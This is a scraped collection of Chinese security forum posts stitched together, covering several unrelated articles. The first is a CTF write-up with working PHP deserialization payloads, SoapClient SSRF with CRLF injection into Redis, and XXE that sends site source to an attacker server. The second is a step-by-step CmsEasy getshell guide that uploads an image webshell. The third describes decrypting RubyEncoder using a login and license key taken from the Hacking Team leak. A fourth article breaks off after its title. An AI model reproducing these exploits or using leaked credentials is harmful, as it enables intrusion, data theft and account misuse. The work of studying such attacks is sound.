发现这将会以字符串的形式输出当前报错，包含当前的错误信息（"payload"）以及当前报错的行号（"2"），而传入 `Error("payload",1)`
中的错误代码“1”则没有输出出来。
在来看看下一个例子：
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
输出如下：
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
可见，`$a` 和 `$b` 这两个错误对象本身是不同的，但是 `__toString` 方法返回的结果是相同的。注意，这里之所以需要在同一行是因为
`__toString` 返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样，只不过 `Exception` 类适用于PHP 5和7，而 `Error` 只适用于 PHP
7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用，具体请看下面这道例题。
### [2020 极客大挑战]Greatphp
进入题目，给出源码：
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
可见，需要进入eval()执行代码需要先通过上面的if语句：
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
这个乍看一眼在ctf的基础题目中非常常见，一般情况下只需要使用数组即可绕过。但是这里是在类里面，我们当然不能这么做。
这里的考点是md5()和sha1()可以对一个类进行hash，并且会触发这个类的 `__toString`
方法；且当eval()函数传入一个类对象时，也会触发这个类里的 `__toString` 方法。
所以我们可以使用含有 `__toString` 方法的PHP内置类来绕过，用的两个比较多的内置类就是 `Exception` 和 `Error`
，他们之中有一个 `__toString` 方法，当类被当做字符串处理时，就会调用这个函数。
根据刚才讲的Error类和Exception类中 `__toString` 方法的特性，我们可以用这两个内置类进行绕过。
由于题目用preg_match过滤了小括号无法调用函数，所以我们尝试直接 `include "/flag"`
将flag包含进来即可。由于过滤了引号，我们直接用url取反绕过即可。
POC如下：
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式，
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";
$str = "?><?=include $_GET[_]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
这里 `$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";` 中为什么要在前面加上一个
`?>` 呢？因为 `Exception` 类与 `Error` 的 `__toString`
方法在eval()函数中输出的结果是不可能控的，即输出的报错信息中，payload前面还有一段杂乱信息“Error: ”：
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
进入eval()函数会类似于：`eval("...Error: <?php payload ?>")`。所以我们要用 `?>` 来闭合一下，即
`eval("...Error: ?><?php payload ?>")`，这样我们的payload便能顺利执行了。
生成的payload如下：
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
执行便可得到flag：
## 使用 SoapClient 类进行 SSRF
### SoapClient 类
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类，可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要如下：
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
可以看到，该内置类有一个 `__call` 方法，当 `__call` 方法被触发后，它可以发送 HTTP 和 HTTPS 请求。正是这个 `__call`
方法，使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下：
public SoapClient :: SoapClient(mixed $wsdl [，array $options ])
* 第一个参数是用来指明是否是wsdl模式，将该值设为null则表示非wsdl模式。
* 第二个参数为一个数组，如果在wsdl模式下，此参数可选；如果在非wsdl模式下，则必须设置location和uri选项，其中location是要将请求发送到的SOAP服务器的URL，而uri 是SOAP服务的目标命名空间。
### 使用 SoapClient 类进行 SSRF
知道上述两个参数的含义后，就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null，然后第二个参数的location选项设置为target_url。
<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
首先在47.xxx.xxx.72上面起个监听：
然后执行上述代码，如下图所示成功触发SSRF，47.xxx.xxx.72上面收到了请求信息：
但是，由于它仅限于HTTP/HTTPS协议，所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话，但我们则可以通过SSRF+CRLF，插入任意的HTTP头。
如下测试代码，我们在HTTP头中插入一个cookie：
<?php
$target = 'http://47.xxx.xxx.72:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码后，如下图所示，成功在HTTP头中插入了一个我们自定义的cookie：
可以再去drops回顾一下如何通过HTTP协议去攻击Redis的：[Trying to hack Redis via HTTP
requests](http://wooyun.jozxing.cc/static/drops/papers-3062.html)
如下测试代码：
<?php
$target = 'http://47.xxx.xxx.72:6379/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码后，如下图所示，成功插入了Redis命令：
这样我们就可以利用HTTP协议去攻击Redis了。
对于如何发送POST的数据包，这里面还有一个坑，就是 `Content-Type` 的设置，因为我们要提交的是POST数据 `Content-Type`
的值我们要设置为 `application/x-www-form-urlencoded`，这里如何修改 `Content-Type` 的值呢？由于
`Content-Type` 在 `User-Agent` 的下面，所以我们可以通过 `SoapClient` 来设置 `User-Agent` ，将原来的
`Content-Type` 挤下去，从而再插入一个新的 `Content-Type` 。
测试代码如下：
<?php
$target = 'http://47.xxx.xxx.72:2333/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码后，如下图所示，成功发送POST数据：
### bestphp's revenge
bestphp's revenge 这道题利用的就是这个点，即对 SoapClient 类进行反序列化触发 SSRF，并配合CRLF构造payload。
进入题目，给出源码：
扫描目录发现flag.php：
可见当REMOTE_ADDR等于127.0.0.1时，就会在session中插入flag，就能得到flag。很明显了，要利用ssrf。
但是这里并没有明显的ssrf利用点，所以我们想到利用PHP原生类SoapClient触发反序列化导致SSRF。并且，由于flag会被插入到session中，所以我们就一定需要携带一个cookie即PHPSESSID去访问它来生成这个session文件。
写出最后的POC：
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
生成payload：
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php，并将得到的flag结果保存在cookie为
`PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4` 的session中。
然后，我们就要想办法反序列化这个对象，但这里有没有反序列化点，那么我们怎么办呢？我们在题目源码中发现了session_start();，很明显，我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话，我们必须要有
`ini_set()` 这个函数来更改 `session.serialize_handler`
的值，将session反序列化引擎修改为其他的引擎，本来应该使用ini_set()这个函数的，但是这个函数不接受数组，所以就不行了。于是我们就用session_start()函数来代替，即构造
`session_start(serialize_handler=php_serialize)` 就行了。我们可以利用题目中的
`call_user_func($_GET['f'], $_POST);`
函数，传入GET：/?f=session_start、POST：serialize_handler=php_serialize，实现
`session_start(serialize_handler=php_serialize)`
的调用来修改此页面的序列化引擎为php_serialize。
所以，我们第一次传值先注入上面POC生成的payload创建并得到我们的session：
此时，我们成功将我们php原生类SoapClient构造的payload传入了 `PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4`
的session中，当页面重新加载时，就会自动将其反序列化。但此时还不会触发SSRF，需要触发 `__call`
方法来造成SSRF，该方法在访问对象中一个不存在的方法时会被自动调用，所以单纯反序列化还不行，我们还需要访问该对象中一个不存在的方法，这里就用到了如下这段代码：
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
我们可以利用extract函数将变量b覆盖为call_user_func，这样，就成了：
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
call_user_func()函数有一个特性，就是当只传入一个数组时，可以用call_user_func()来调用一个类里面的方法，call_user_func()会将这个数组中的第一个值当做类名，第二个值当做方法名。
这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法，而welcome_to_the_lctf2018方法不存在，就会触发
`__call` 方法，造成ssrf去访问flag.php。
所以我们第二次传参如下：
最后，我们第三次传参，用我们POC里面自己设置的cookie（`PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4`）去访问这个页面，`var_dump($_SESSION);`
会将 `PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4` 的这个session内容输出出来，即可得到flag：
## 使用 DirectoryIterator 类绕过 open_basedir
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口，该类是在 PHP 5 中增加的一个类。
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制，可以用来列举出指定目录下的文件。
测试代码：
// test.php
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
我们输入 `/?whoami=glob:///*` 即可列出根目录下的文件：
但是会发现只能列根目录和open_basedir指定的目录的文件，不能列出除前面的目录以外的目录中的文件，且不能读取文件内容。
## 使用 SimpleXMLElement 类进行 XXE
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
### SimpleXMLElement
官方文档中对于SimpleXMLElement 类的构造方法 `SimpleXMLElement::__construct` 的定义如下：
可以看到通过设置第三个参数 data_is_url 为 `true`，我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为`2`即可。第一个参数
data 就是我们自己设置的payload的url地址，即用于引入的外部实体的url。
这样的话，当我们可以控制目标调用的类的时候，便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
### [SUCTF 2018]Homework
进入题目，随便注册一个账号，登录作业平台。看到一个 `calc` 计算器类的代码。有两个按钮，一个用于调用 `calc`
类实现两位数的四则运算。另一个用于上传文件，提交代码。
`calc` 计算器类的代码为：
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
我们点击calc按钮，计算2+2=4，我们观察url处的参数，再结合`calc`计算器类的代码可知module为调用的类，args为类的构造方法的参数：
所以我们可以通过这种形式调用PHP中的内置类。这里我们通过调用 SimpleXMLElement 这个内置类来构造 XXE。
首先，我们在vps（47.xxx.xxx.72）上构造如下evil.xml、send.xml和send.php这三个文件。
evil.xml：
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml">
%remote;
%all;
%send;
]>
send.xml：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>">
send.php：
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>
然后在url中构造如下：
/show.php?module=SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args[]=2&args[]=true
这样目标主机就能先加载我们vps上的evil.xml，再加载send.xml。
如下图所示，成功将网站的源码以base64编码的形式读取并带出到result.txt中：
后续解题过程就不写了。
## Ending......
文中若有不足之处，还请各位大佬多多点评。
我的博客：<https://whoamianony.top/> | 社区文章 |
之前索马里的海贼 师傅分享了：<https://xianzhi.aliyun.com/forum/read/215.html>
一文，对CmsEasy最新的前台Getshell漏洞进行了分析，并给出了利用Poc.
但是今天在实际利用的时候遇到了一点坑的地方，向海贼师傅又请教了下.
海贼师傅说还是有一些小伙伴不知道如何利用来Getshell的，所以这里就再具体给大家分享下.
1.首先你需要在你的服务器上搭建一个FTP服务 （Ubuntu下可用：vsftpd）
vsftpd的话还需要开启匿名用户:
开启方法：<http://blog.chinaunix.net/uid-21505614-id-289428.html>
2.其次你需要生成一个能够绕过GD的图片马
这里需要用到海贼师傅分享的那个脚本:
[https://xianzhi.aliyun.com/forum/read/215.html
jpg_payload.php](https://xianzhi.aliyun.com/forum/read/215.html%C2%A0%C2%A0jpg_payload.php)
为什么无法使用之前网上的绕过方式呢？
如：<http://www.freebuf.com/articles/web/54086.html>
我们可以发现Freebuf上面这个GD库绕过的方式是:
对比两张经过php-gd库转换过的gif图片，如果其中存在相同之处，这就证明这部分图片数据不会经过转换。然后我可以注入代码到这部分图片文件中，最终实现远程代码执行
而海贼师傅给出的脚本是利用算法上来绕过的，可以从jpg_payload.php文件的注释看到:
The algorithm of injecting the payload into the JPG image, which will keep
unchanged after transformations
caused by PHP functions imagecopyresized() and
imagecopyresampled().这个可能就是为什么利用网上以前的方法去绕过会失败的原因吧?
3.生成一张绕过GD库的图片马
现在我们就要来生成一张这样的图片了，首先我们把一张正常的图片放在我们FTP服务器上面，如:这里的1111.jpg
然后把图片先利用Poc来上传下:
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
注意这里有几个地方需要更改:
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
一个是pic后面的补位数
如果网站程序就运行在根目录下，如:<http://www.a.com/> 只需要补一位('/'长度)
但是如果我的网站程序不是在根目录下，如:<http://www.a.com/css_is_eazy/>
我这里需要补13位(即‘/css_is_eazy/’的长度)
所以我的Poc就变成了:
pic=1111111111111ftp://x.x.x.x/1111.jpg&w=367&h=201&x1=0&x2=367&y1=0&y2=201
还要注意的是w=367&h=201&x1=0&x2=367&y1=0&y2=201需要根据你的图片大小来调整，其实在海贼师傅那篇文章里面已经具体说明了
w=x2=图片宽度
h=y2=图片高度
x1=y1=固定0然后访问这里的链接，下载经过GD处理之后的图片(这里需要注意的是:只能在这个地方进行上传、因为不同地方上传的话处理的效果并不一样、会直接影响我们生成含有payload的图片)
下载后利用绕过脚本来生成下:
php jpg_payload.php x.jpg
这里还有一处坑.导致我多次没能成功生成，最后发现是 x.jpg
这个图片的参数不能够带有路径，因为脚本会根据我们传入的文件名在目录下生成一个在原文件名字前面加下划线的临时文件，所以如果这里传入的文件带有路径就会创建带有路径的文件名了，而系统不允许创建这样的文件，故会生成失败.
这里我们就可以成功创建了..
需要注意的是，我们需要将jpg_payload.php中$miniPayload里的内容改为我们自己的payload.
4.上传&Getshell
刚刚我们利用jpg_payload.php成功生成了文件后，会发现在当前目录下出现了一个payload_x.jpg文件
我们需要将payload_x.jpg的后缀改为php，之后再次利用我们的Poc去上传payload_x.php文件
上传的方式与上文中传图片的方式一致
之后访问生成的php文件，就拿到了Shell. | 社区文章 |
作者： **[fatezero](http://blog.fatezero.org/)**
### 0x00 前言
RubyEncoder 是一款对 Ruby 代码进行混淆加密的软件，因为最近我要破解某个使用 RubyEncoder 加密的 Ruby 程序，
所以工作就转移到如何解密 RubyEncoder 加密的程序。
### 0x01 信息收集
要想了解
RubyEncoder，那肯定是要去[官网](https://www.rubyencoder.com/trial.html?cm_id=151&action=submit_trial)下载一份试用版，但是无论你怎么填写试用资料：
我隐约记得 Hacking Team RCS 也用了 RubyEncoder，所以比较幸运的， 我从 Hacking Team 邮件
中找到了一个可以登陆账号密码:
Username: [email protected]
Password: Oyf4GSy0
下载到了 RubyEncoder-2.3，并偷偷的使用 Hacking Team 一个 License Key 成功激活了 RubyEncoder
先简单试用一下 RubyEncoder
上图是 RubyEncoder 对某个项目加密的主界面，在这个界面中可以看到，我们可以选择支持的 Ruby 版本。 由于因为可以选多个版本号以及 1.8.x
也在支持的版本内，所以可以判定加密后的文件不会是 iseq 或者修改后的 iseq。
上图是 RubyEncoder 支持的加密选项，可以进行 IP、Domain、MAC、联网、时间、License 限制。其中除了 License
文件之外，其他都是纸老虎， 如果 License 文件没有参与对文件的加密，那 License 限制也是纸老虎。不过根据官方文档描述
The algorithm uses an idea of two keys. The first key (Project Id) is stored
in the encrypted area of the protected script and is used to decrypt an
external license file. The second key (Project Key) is stored in the license
file and it is used to decrypt the bytecode from the protected script.
所以如果没有 License 文件是很难将程序跑起来的，不过这篇文章的目的不是怎么样解除这些限制，而是如何解密 RubyEncoder 加密后的 Ruby
代码。
我们再来看一下 RubyEncoder 的目录结构：
.
├── Loaders
│ ├── Linux
│ │ ├── loader.rb
│ │ ├── my.so
│ │ ├── rgloader.linux.so
│ │ ├── rgloader.linux.x86_64.so
│ │ ├── rgloader19.linux.so
│ │ ├── rgloader19.linux.x86_64.so
│ │ ├── rgloader192.linux.so
│ │ ├── rgloader192.linux.x86_64.so
│ │ ├── rgloader193.linux.so
│ │ ├── rgloader193.linux.x86_64.so
│ │ ├── rgloader20.linux.so
│ │ ├── rgloader20.linux.x86_64.so
│ │ ├── rgloader21.linux.so
│ │ ├── rgloader21.linux.x86_64.so
│ │ ├── rgloader22.linux.so
│ │ ├── rgloader22.linux.x86_64.so
│ │ ├── rgloader23.linux.so
│ │ └── rgloader23.linux.x86_64.so
│ ├── Mac\ OS\ X // 省略 ..
│ ├── MinGW // 省略 ...
│ └── Windows // 省略 ...
├── RubyEncoder
├── license.txt
├── licgen
├── rgencoder
├── rginfo
├── rubyencoder18.bundle
├── rubyencoder19.bundle
├── rubyencoder192.bundle
├── rubyencoder20.bundle
├── rubyencoder21.bundle
├── rubyencoder22.bundle
├── rubyencoder23.bundle
└── update
简单看了一下 rubyencoder*.bundle 文件，应该是直接把整个 Ruby 给打包进来了，应该是加密的过程中需要 Ruby 的一些功能，
不过我并不是特别关注加密过程，所以直接看 Loaders 目录下的文件，这个目录下包含了所支持的平台下、Ruby 版本的解密 so 文件。
当然除了需要下载 RubyEncoder 程序，还需要找一找有没有前辈已经搞定这个程序的， google 一番之后找到 I found way to
protect Source Code! :) 这个帖子。
这个帖子的思路是：
将 `ruby_exec` 修改成 `ruby_exic` 以便获得 AST 使用修改后的 ParseTree 将 Ruby 内部的 AST 转成 sexp
使用 ruby2ruby 将 sexp 转成 Ruby 代码 不过这个帖子当时使用的是 Ruby 1.8.7，也就是当时 Ruby 还是构建完 AST
之后就直接执行，1.9.x 后的 Ruby 需要编译成 iseq。 另外由于 Ruby 1.8 和 Ruby 2.x 有很大的不同，上面的
ParseTree 在 Ruby 使用 iseq 之后就再也不能使用了。 所以上面的方法在 Ruby 2.x 中行不通了。
### 0x02 简单逆向
我们使用 RubyEncoder 对以下代码进行加密
puts "Hello World!"
得到下面加密后的代码
# RubyEncoder v2.3.0
if not self.respond_to?(:RGLoader_load,:include_private) then _d = _d0 = File.expand_path(File.dirname(__FILE__)); while 1 do _f = _d + '/rgloader/loader.rb'; break if File.exist?(_f); _d1 = File.dirname(_d); if _d1 == _d then raise "Ruby script '"+__FILE__+"' is protected by RubyEncoder and requires a RubyEncoder loader to be installed. Please visit the http://www.rubyencoder.com/loaders/ RubyEncoder web site to download the required loader and unpack it into '"+_d0+"/rgloader/' directory in order to run this protected file."; exit; else _d = _d1; end; end; require _f; end; RGLoader_load('AAIAAAAEgAAAAIAAAAAA/0R/d65ujW/5OhgbeUf0jhTRfPXr0uXNuC7gK8ycmR473fPEIlsgFP1/KF+CYBVbQy4xoLUhBFtBlYwH2aDOtcTasNDJPMDtoEgRuRdFRDgJoX1oKhrm0ZKm9OdIM6MbXRc/fh4n984TVew76DqbxQTplVhMxzOCp/mKgLU+shxBFAAAAGAAAAA7Nu8kj4NtO8BQECP2bW1TonmX+NADX/HETWg1j5fvbB8gptZ38XCzJxOccT2CTUsTT8GFq67RttUD7IR/xN2FBCWKMZ1BlGYVlhSmSUc6hS5RfglTuyvdVdjnsgcnkTAVAAAAYAAAAIrxSQfPHlMc89mPBUXSQ6vxmM9yoDu7Rf+O87mTUW4L0VuAWkIhvFUBxXRVm6Q7kkWHg7D7cdIwwA62+ewy91l56aMIQujAKZrVn4T1zreKf1QdGvK+QGY4rIpGEmTBhBYAAABoAAAADdYzBFrSrrZ4o9uzaoq+Yxjk44lzEa+/oxXM7fmbm8gJ1W3MlUZyPqIjW01KUb6nZjWIAz629+KP5nL/GMP0BClkOjpXQ9b95R/qvlDzuP7UZHPeqaIJq2yMN7Mh9WROfAhLlhmK86AXAAAAcAAAAGgSDy/YvPJQsKnC+JvR+ITlVdWPGodUNT10I0CPLu9d81hMtEL9hU4t9yVfBcS2BWDqBg3ahhUTvqNYxwvX8NCHmZU4LQmdd3dJneWJzGy6VbAQeVDNeaJl8/SPdRn1VXaspqWGYFn1cXqp7rhHLUcAAAAA');
可以看到最关键的函数就是 RGLoader_load，所以直接将 rgloader22.linux.x86_64.so 丢进 IDA，找到
RGLoader_load 的实现：
int __cdecl rgloader_load(int a1, _DWORD *a2, int a3, int a4) {
// 省略 ...
v126 = v124;
v127 = _decode_node(v124);
mstream_close(v126);
ruby_xfree(v23);
if ( !v127 || decoder_error )
goto LABEL_243;
v128 = *(_DWORD *)(rb_thread_current() + 16);
v210 = *(_DWORD *)(v128 + 60);
if ( a1 == rgloader_module )
*(_DWORD *)(v128 + 60) = *(_DWORD *)(*(_DWORD *)(v128 + 24) + 56);
else
*(_DWORD *)(v128 + 60) = *(_DWORD *)(*(_DWORD *)(v128 + 24) + 16);
v129 = (char *)rg_current_realfilepath();
v130 = rb_sourcefile();
v131 = rb_str_new_cstr(v130);
v132 = rb_str_new_static("<encoded>", 9);
v133 = rb_iseq_new(v127, v132, v131, v129, 0, 0);
result = rb_iseq_eval(v133);
*(_DWORD *)(v128 + 60) = v210;
return result;
}
嗯，事实上，RubyEncoder 就算是到了 2.3 版本，还是和上面那个帖子所说的一样：
> It turns out, that RubyEncoder uses following scheme: modified Ruby-1.8.7
> interpreter, that stores encoded AST nodes along with encoding/restriction
> options, while rgloader simply decodes it back to AST and executes.
只不过这里多了一步 `v133 = rb_iseq_new(v127, v132, v131, v129, 0, 0);` 将 AST 编译成 iseq。
我们可以通过 `hook rb_iseq_new` 拿到 AST，hook `rb_iseq_eval`` 拿到 iseq。
下面我们修改 Ruby 代码将 AST 以及 iseq dump 出来。
1. one byte hack
cp rgloader22.linux.x86_64.so bak.so
sed 's/rb_iseq_eval/rb_iseq_evax/g' rgloader22.linux.x86_64.so > tmp.so
sed 's/rb_iseq_new/rb_iseq_nex/g' tmp.so > rgloader22.linux.x86_64.so
1. 在 iseq.c 中实现 rb_iseq_nex
VALUE
rb_iseq_nex(NODE *node, VALUE name, VALUE path, VALUE absolute_path,
VALUE parent, enum iseq_type type)
{
rb_io_write(rb_stdout, rb_parser_dump_tree(node, 0));
printf("\n\n");
return rb_iseq_new(node, name, path, absolute_path, parent, type);
}
1. 实现 vm.c 中实现 rb_iseq_evax
VALUE
rb_iseq_evax(VALUE iseqval)
{
rb_io_write(rb_stdout, rb_iseq_disasm(iseqval));
return 0;
}
结果:
###########################################################
## Do NOT use this node dump for any purpose other than ##
## debug and research. Compatibility is not guaranteed. ##
###########################################################
# @ NODE_SCOPE (line: 1)
# +- nd_tbl: (empty)
# +- nd_args:
# | (null node)
# +- nd_body:
# @ NODE_FCALL (line: 1)
# +- nd_mid: :puts
# +- nd_args:
# @ NODE_ARRAY (line: 1)
# +- nd_alen: 1
# +- nd_head:
# | @ NODE_STR (line: 1)
# | +- nd_lit: "Hello World!"
# +- nd_next:
# (null node)
== disasm: <RubyVM::InstructionSequence:<encoded>@./ruby-2.2.6/hello.rb>
0000 trace 1 ( 1)
0002 putself
0003 putstring "Hello World!"
0005 opt_send_without_block <callinfo!mid:puts, argc:1, FCALL|ARGS_SIMPLE>
0007 leave
上面就是 dump 出来的 AST 和 iseq，不过这些离我们的最终目标还有一点点距离。
### 0x03 生成代码
由于之前的 parsetree 已经不能再使用了，google了一番之后，也没有找到现成的， 之前的打算是写一个类似 Python 的 uncompyle
之类的东西, 解析 iseq 结构、构建 AST、生成代码， 不过后面发现自己实在没那么多时间，于是就偷懒直接从 Ruby 的 AST 直接生成代码。
对照着 Ruby 的 node.c、parse.y、compile.c 就可以写出
[node2ruby.c](https://gist.github.com/fate0/a1851bb39efe177bec20dbcd4445f6f3)
试试看这个代码反编译的效果，测试文件
[http.rb](https://github.com/ruby/ruby/blob/ruby_2_2/lib/net/http.rb)
感觉效果还是差强人意，代码算是可以能看的，但是想要执行起来还要继续仅需对代码进行修改(因为node2ruby.c 还有挺多地方没考虑到的)
总的来说，Ruby 写的代码还是比较友好的，像我这样的新手都能很快上手，嗯，除了有些小错误外，顺手提交了两 PR
* [node.c: fix NODE_OP_ASGN1 operator](https://github.com/ruby/ruby/pull/1528)
* [node.c: fix nd_ainfo->kw_rest_arg](https://github.com/ruby/ruby/pull/1529)
### 0x04 总结
写
[node2ruby.c](https://gist.github.com/fate0/a1851bb39efe177bec20dbcd4445f6f3)
的时候就觉得如果不是特别熟悉 Ruby 的话，有些比较奇怪的语句还是想不到的。
对了，还记得我们上面所说的，如果没有 License 文件，就很难将程序跑起来么？ 嗯，我要解密的 Ruby 代码就是必须要 License
文件的，而且我还没有 License。
* * * | 社区文章 |
# CVE-2022-21882 bypass CVE-2021-1732
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## CVE-2022-21882
### 漏洞背景
